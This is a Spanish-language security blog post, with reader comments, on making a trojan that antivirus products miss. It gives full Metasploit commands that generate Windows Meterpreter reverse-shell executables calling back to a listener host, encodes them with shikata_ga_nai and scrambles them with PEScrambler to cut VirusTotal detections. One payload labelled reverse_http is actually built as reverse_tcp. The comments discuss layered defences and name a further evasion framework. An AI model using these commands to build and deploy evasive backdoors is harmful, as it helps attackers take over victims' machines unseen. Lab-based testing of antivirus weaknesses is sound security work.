Creando un troyano indetectable por un antivirus

En este artículo vamos a ver a ver cómo crear un troyano que no detecten los antivirus, elemento en cuya protección la mayoría de usuarios y empresas delegan toda la seguridad de sus equipos.

Obviando proyectos tan interesantes como http://www.flu-project.com, lo cierto es que fabricar un troyano indetectable por los antivirus puede ser relativamente fácil. Una herramienta que nos permite realizar este tipo de tareas, y con la que toda persona que se dedique a seguridad debe estar familiarizado es Metasploit, así que vamos a realizar diferentes pruebas con Metasploit y sus payload.

Metasploit tiene diferentes módulos que nos pueden ayudar a crear nuestro troyano. Los más comunes son reverse_tcp y reverse_https. Metasploit nos propone varias opciones para hacer nuestro troyano un poco más indetectable para los antivirus, pero primero vamos a hacer un par de pruebas sin ninguna de estas opciones. La máquina que va a estar escuchando es la 192.168.56.102 y la que va a ser infectada la 192.168.56.101.

Primero creamos uno con el módulo reverse_tcp

msfpayload windows/meterpreter/reverse_tcp LPORT=6666 
   LHOST=192.168.56.102 X >reverse_tcp_1.exe

Ahora otro con el modulo reverse_http

msfpayload windows/meterpreter/reverse_tcp LPORT=8080 
   LHOST=192.168.56.102 X >reverse_http_1.exe

Probamos que todo ha funcionado correctamente:

Reverse_HTTP:

Reverse_TCP:

Ahora que sabemos que todo funciona, pasamos los dos ejecutables por virustotal a ver que resultados nos dan. Como vemos, los resultados son bastante esperanzadores, más de la mitad de los antivirus lo detectan.

Metasploit tiene diferentes módulos para encodear los ejecutables, vamos a usar el shikata_ga_nai:

msfpayload windows/meterpreter/reverse_tcp LPORT=6666 
   LHOST=192.168.56.102 r |msfencode –e x86/shikata_ga_nai 
   –c10 –b ‘\x00’ –t exe –o reverse_tcp_encoded.exe
msfpayload windows/meterpreter/reverse_http LPORT=8080 
   LHOST=192.168.56.102 r |msfencode –e x86/shikata_ga_nai 
   –c10 –b ‘\x00’ –t exe –o reverse_http_encoded.exe

Los resultados son muy parecidos a los anteriores:

Como no cesamos en nuestro empeño, hay otra utilidad que nos puede servir de ayuda: PEScrambler. Es una utilidad que cambia pequeñas porciones de código de sitio.

El uso es muy fácil:

PEScrambler.exe -i reverse_tcp_encoded.exe -o reverse_tcp_encoded_PES.exe
PEScrambler.exe -i reverse_http_encoded.exe -o reverse_http_encoded_PES.exe

Aquí vemos como los resultados mejoran considerablemente:

Comments

  1. Muy buen trabajo y buen artículo. Está claro que no debemos poner todos los huevos en la misma cesta (fiarnos solo de la seguridad de un antivirus)
    ¿Ves factible conseguir un ratio de detecciones cercano a 0?

    Saludos

  2. Muy buenos días a todos,

    Los antivirus están todavía lejos (como dicen algunos) de estar muertos, pero la verdad es que su eficacia ha descendido en los últimos años.

    En realidad lo que ha sucedido es que se han descubierto multitud de métodos que puede usar el malware para evitar su detección. Y ya sabemos lo que tardan los «malos» en usar una técnica una vez han visto que funciona …

    Yo aportaría a la entrada Veil-Evasion : https://www.veil-framework.com/framework/veil/evasion/ otro generador de payloads también altamente interesante (e integrable con MetaSploit).

    Alejandro, es bastante sencillo conseguir ratios de detecciones de 0 (o casi) empleando Veil y algunas formas no muy complejas de alteración de malware.

    Si los antivirus quieren seguir en el mercado deberían empezar a plantear alternativas de whitelisting de aplicaciones y heurística avanzada (vamos, con una tasa de falsos positivos/negativos decente). Probablemente el tema cloud nos permita ver algunas cosas interesantes en el futuro …

    Uno de los principios básicos de la seguridad es el de «seguridad en profundidad». Todo puesto de trabajo debería de tener un antivirus … pero la red tendría que tener cortafuegos, detectores de intrusos, sistemas SIEM, gestores de logs, protocolos de configuración segura, gestión del cambio, respuesta ante incidentes, etc …

    De esta forma, aunque un intruso sea capaz de atravesar una capa de seguridad, las otras podrán detenerlo (o lo que me gusta a mí, entretenerlo lo suficiente como para detectarlo u obligarle a hacer actividades «ruidosas» que faciliten su detección).

    Un saludo,

    Antonio Sanz
    Universidad de Zaragoza